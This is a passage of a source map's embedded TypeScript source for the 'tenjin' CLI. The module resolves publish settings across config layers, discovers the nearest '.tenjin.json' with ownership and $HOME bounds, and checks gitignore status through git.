resolvers can't do: it walks up from\n// cwd for a `.tenjin.json` and asks git whether that file is committed (the\n// loosening gate on `full-auto`). It lives here beside resolveContextSettings so\n// there is one settings resolver, not a parallel one.\n// ---------------------------------------------------------------------------\n\nexport const PROJECT_CONFIG_FILE = '.tenjin.json';\n\n/**\n * The per-project override file. `publish.defaultPrice` is DECIMAL USD (\"0.10\"),\n * because a hand-edited project file is a human edge (O1) — unlike config.json,\n * which stores atomic because `config set` converts at the command edge. The\n * decimal string is converted to atomic at load via the same money util the\n * config command uses. Partial + passthrough: forward-compatible with subkeys a\n * newer CLI adds, same posture as the global config.\n */\nconst ProjectConfigSchema = z\n .object({\n publish: z\n .object({\n mode: PublishModeSchema.optional(),\n defaultPrice: z.string().optional(),\n })\n .passthrough()\n .optional(),\n })\n .passthrough();\n\nexport interface LoadedProjectConfig {\n /** Absolute path of the discovered `.tenjin.json`. */\n path: string;\n layer: ProjectPublishLayer;\n}\n\nexport interface PublishSettingsDeps extends ProjectWalkDeps {\n /** git check-ignore seam; defaults to shelling out to git (see wallet/passphrase). */\n isGitignored?: (filePath: string) => Promise<boolean>;\n}\n\nexport interface ResolvedPublishSettings {\n mode: PublishMode;\n modeSource: Provenance;\n defaultPriceAtomic: string;\n defaultPriceSource: Provenance;\n /** The standing answer to the server gate's warn tier; see lib/consent.ts. */\n ackServerWarnings: AckServerWarnings;\n /** Non-fatal notices for stderr (e.g. the full-auto downgrade). */\n warnings: string[];\n /** The `.tenjin.json` that contributed the project layer, if one was found. */\n projectConfigPath?: string;\n}\n\n/**\n * Resolve the effective publish mode + default price across every layer:\n * global config.json < project `.tenjin.json` < env (TENJIN_PUBLISH_MODE) <\n * flag (`--mode`), with the `full-auto` loosening gate applied to the project\n * layer. The seam a `publish` command (B3.2) resolves its consent through.\n */\nexport async function resolvePublishSettings(\n input: { dataDir: string; cwd: string; flag?: string; env?: NodeJS.ProcessEnv },\n deps: PublishSettingsDeps = {},\n): Promise<ResolvedPublishSettings> {\n const env = input.env ?? process.env;\n const config = await loadRawConfig(input.dataDir);\n const project = await loadProjectConfig(input.cwd, deps);\n const layer = project?.layer;\n\n const mode = resolvePublishMode({ config, project: layer, env, flag: input.flag });\n const price = resolvePublishDefaultPrice({ config, project: layer });\n const warnings = mode.downgradedWarning !== undefined ? [mode.downgradedWarning] : [];\n // Said out loud for the same reason the downgrade is: a consent setting the\n // operator believes is in force, and is not, is worse than one they know is\n // ignored. `writeModeNotices` puts every entry of this list on stderr.\n if (layer?.ignoredAckServerWarnings === true) {\n warnings.push(\n `Ignoring publish.ackServerWarnings in ${project?.path ?? PROJECT_CONFIG_FILE}: it is read from the global config only, since it can only widen what a yes covers. Set it with \\`tenjin config set publish.ackServerWarnings <mode|on|off>\\`.`,\n );\n }\n\n return {\n mode: mode.value,\n modeSource: mode.source,\n defaultPriceAtomic: price.value,\n defaultPriceSource: price.source,\n // Global config only, on purpose: the project layer never contributes here,\n // so `project` is deliberately not passed. ONE reader, the same one\n // `resolveSettings` uses, because two global-only readings that drifted\n // would drift about consent.\n ackServerWarnings: resolveAckServerWarnings(config).value,\n warnings,\n ...(project !== null ? { projectConfigPath: project.path } : {}),\n };\n}\n\n/**\n * Find the nearest `.tenjin.json` walking up from cwd toward the repo root (the\n * first directory holding a `.git`, inclusive), never crossing above $HOME, then\n * load, validate, and check whether it is gitignored. A file not owned by the\n * current user is ignored with a stderr warning (a planted config on a shared\n * host must not become the honored project layer). Null when none is found; a\n * present-but-unreadable/malformed file is CONFIG_INVALID (never silently\n * skipped).\n */\nexport async function loadProjectConfig(\n cwd: string,\n deps: PublishSettingsDeps = {},\n): Promise<LoadedProjectConfig | null> {\n const path = await findProjectConfigFile(cwd, deps);\n if (path === null) return null;\n\n let json: unknown;\n try {\n // readFile is inside the try: a raced delete (ENOENT), a directory named\n // .tenjin.json (EISDIR), or a permission error (EACCES) is a bad project file,\n // not an INTERNAL fault.\n json = JSON.parse(await readFile(path, 'utf8'));\n } catch (err) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} could not be read`, {\n fix: `Fix or delete ${path} (must be a readable JSON file).`,\n cause: err,\n });\n }\n const parsed = ProjectConfigSchema.safeParse(json);\n if (!parsed.success) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} is invalid`, {\n fix: `Correct the reported keys in ${path}, or delete it.`,\n details: parsed.error.issues,\n });\n }\n\n const isGitignored = deps.isGitignored ?? defaultIsGitignored;\n const gitignored = await isGitignored(path);\n const layer: ProjectPublishLayer = { gitignored };\n if (parsed.data.publish !== undefined) {\n const { mode, defaultPrice } = parsed.data.publish;\n layer.publish = {\n ...(mode !== undefined ? { mode } : {}),\n ...(defaultPrice !== undefined\n ? { defaultPrice: parseProjectPrice(defaultPrice, path) }\n : {}),\n };\n // The block is passthrough, so this key parses here and is then never read:\n // `ackServerWarnings` is global-only because it can only loosen what a yes\n // covers. Failing closed is the point, but doing it SILENTLY leaves an\n // operator believing a consent setting is in force that is not, so it says\n // so on stderr the way a downgraded `full-auto` does.\n if ((parsed.data.publish as { ackServerWarnings?: unknown }).ackServerWarnings !== undefined) {\n layer.ignoredAckServerWarnings = true;\n }\n }\n return { path, layer };\n}\n\n/**\n * Convert a `.tenjin.json` decimal-USD price to atomic via the shared money\n * parser. parseUsdToAtomic throws USAGE on a bad amount; re-raise as\n * CONFIG_INVALID naming the file, so it reads like the file's other errors.\n */\nfunction parseProjectPrice(decimalUsd: string, path: string): string {\n try {\n return parseUsdToAtomic(decimalUsd);\n } catch (err) {\n throw new CliError(\n 'CONFIG_INVALID',\n `${PROJECT_CONFIG_FILE} at ${path} has an invalid publish.defaultPrice`,\n { fix: 'Use a non-negative decimal USD amount like \"0.10\".', cause: err },\n );\n }\n}\n\nasync function findProjectConfigFile(\n cwd: string,\n deps: PublishSettingsDeps,\n): Promise<string | null> {\n const hit = await findNearestProjectFiles(cwd, [PROJECT_CONFIG_FILE], deps);\n return hit?.found[0] ?? null;\n}\n\nexport interface ProjectWalkDeps {\n /** Ownership seam; defaults to stat().uid vs process uid. Gates a planted file. */\n isForeignOwned?: (filePath: string) => Promise<boolean>;\n /** One-line stderr warning sink; defaults to process.stderr. */\n warn?: (message: string) => void;\n /** Upper bound of the walk; defaults to the user's home directory. */\n homeDir?: string;\n}\n\nexport interface ProjectWalkHit {\n /** The directory the walk stopped in. */\n dir: string;\n /** Every candidate present there and owned by this user, in `names` order. */\n found: string[];\n}\n\n/**\n * THE ONE WALK UP FROM A WORKING DIRECTORY to a project file, shared by the\n * shelf's `.tenjin.json` and the router's `.tenjin/config.json` pair: the\n * nearest directory, walking up from `cwd`, that holds at least one of\n * `names` (paths relative to that directory). `homeIsProject: false` stops\n * before looking in $HOME itself, for a file whose home copy is the global one.\n */\nexport async function findNearestProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<ProjectWalkHit | null> {\n const homeDir = deps.homeDir ?? homedir();\n\n let dir = cwd;\n // Bounded by $HOME (a shared-host trust boundary) and the filesystem root\n // (dirname('/') === '/'), whichever comes first.\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return null;\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) return { dir, found };\n if (await pathExists(join(dir, '.git'))) return null; // repo root, no file\n if (dir === homeDir) return null; // never cross above $HOME\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n/**\n * EVERY directory from `cwd` up to the git root (inclusive) that holds one of\n * `names`, nearest first, under the same bounds as\n * {@link findNearestProjectFiles}; `gitRoot` is null outside a repository.\n * For layers that each only tighten, where reading one more can never loosen.\n */\nexport async function findAllProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<{ levels: ProjectWalkHit[]; gitRoot: string | null }> {\n const homeDir = deps.homeDir ?? homedir();\n const levels: ProjectWalkHit[] = [];\n let dir = cwd;\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return { levels, gitRoot: null };\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) levels.push({ dir, found });\n if (await pathExists(join(dir, '.git'))) return { levels, gitRoot: dir };\n if (dir === homeDir) return { levels, gitRoot: null };\n const parent = dirname(dir);\n if (parent === dir) return { levels, gitRoot: null };\n dir = parent;\n }\n}\n\n/**\n * The main working tree behind a git worktree whose root is `gitRoot`, or null\n * when `gitRoot` is not a linked worktree. Filesystem only, no `git` process:\n * the worktree's `.git` FILE names its gitdir, whose `commondir` names the\n * main repository's `.git`. A bare common dir, one that resolves outside\n * $HOME, and a submodule (a gitdir with no `commondir`) all give null.\n */\nexport async function mainWorktreeOf(\n gitRoot: string,\n homeDir: string = homedir(),\n): Promise<string | null> {\n try {\n const dotGit = join(gitRoot, '.git');\n if (!(await stat(dotGit)).isFile()) return null;\n const line = /^gitdir:\\s*(.+?)\\s*$/m.exec(await readFile(dotGit, 'utf8'));\n if (line === null) return null;\n const gitdir = resolve(gitRoot, line[1]!);\n const commonDir = resolve(gitdir, (await readFile(join(gitdir, 'commondir'), 'utf8')).trim());\n if (basename(commonDir) !== '.git' || !(await stat(commonDir)).isDirectory()) return null;\n const main = dirname(commonDir);\n if (main === gitRoot || !main.startsWith(`${homeDir}${sep}`)) return null;\n return main;\n } catch {\n return null;\n }\n}\n\n/** The candidates present in `dir` and owned by this user, in `names` order. */\nexport async function ownedCandidates(\n dir: string,\n names: readonly string[],\n deps: ProjectWalkDeps = {},\n): Promise<string[]> {\n const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;\n const warn = deps.warn ?? ((message: string) => process.stderr.write(`${message}\\n`));\n const found: string[] = [];\n for (const name of names) {\n const candidate = join(dir, name);\n if (!(await pathExists(candidate))) continue;\n if (await isForeignOwned(candidate)) {\n // A file owned by another user (e.g. /tmp/.tenjin.json on a shared box)\n // must never become the honored layer; skip it and keep walking.\n warn(`Ignoring ${candidate}: not owned by the current user.`);\n } else {\n found.push(candidate);\n }\n }\n return found;\n}\n\n/**\n * The directory a project file belongs in when none exists yet: the git root\n * above `cwd`, or `cwd` itself outside a repository. Same bounds as the walk.\n */\nexport async function projectRoot(cwd: string, homeDir: string = homedir()): Promise<string> {\n let dir = cwd;\n for (;;) {\n if (await pathExists(join(dir, '.git'))) return dir;\n if (dir === homeDir) return cwd;\n const parent = dirname(dir);\n if (parent === dir) return cwd;\n dir = parent;\n }\n}\n\n/**\n * True when the file is owned by a different uid than the process. On a platform\n * without a uid model (Windows: process.getuid is undefined) this is always\n * false — the ownership gate is a POSIX shared-host protection.\n */\nasync function defaultIsForeignOwned(filePath: string): Promise<boolean> {\n const uid = process.getuid?.();\n if (uid === undefined) return false;\n try {\n return (await stat(filePath)).uid !== uid;\n } catch {\n return false;\n }\n}\n\n/** True when a path exists (of any type). */\nexport async function pathExists(path: string): Promise<boolean> {\n try {\n await stat(path);\n return true;\n } catch {\n return false;\n }\n}\n\n/**\n * True only on a git check-ignore exit 0 (the path is ignored). Exit 1 (tracked)\n * and any error (git absent, not a repo) resolve false: `full-auto` is honored\n * from a project file ONLY when git positively confirms it is ignored. Uses\n * execFile with an argv array (never a shell), matching wallet/passphrase.ts.\n */\nfunction defaultIsGitignored(filePath: string): Promise<boolean> {\n return new Promise((resolve) => {\n execFile(\n 'git',\n ['check-ignore', '--quiet', '--', filePath],\n { cwd: dirname(filePath) },\n (err) => resolve(err === null),\n );\n });\n}\n"],"mappings":";;;;;;;;;;;;;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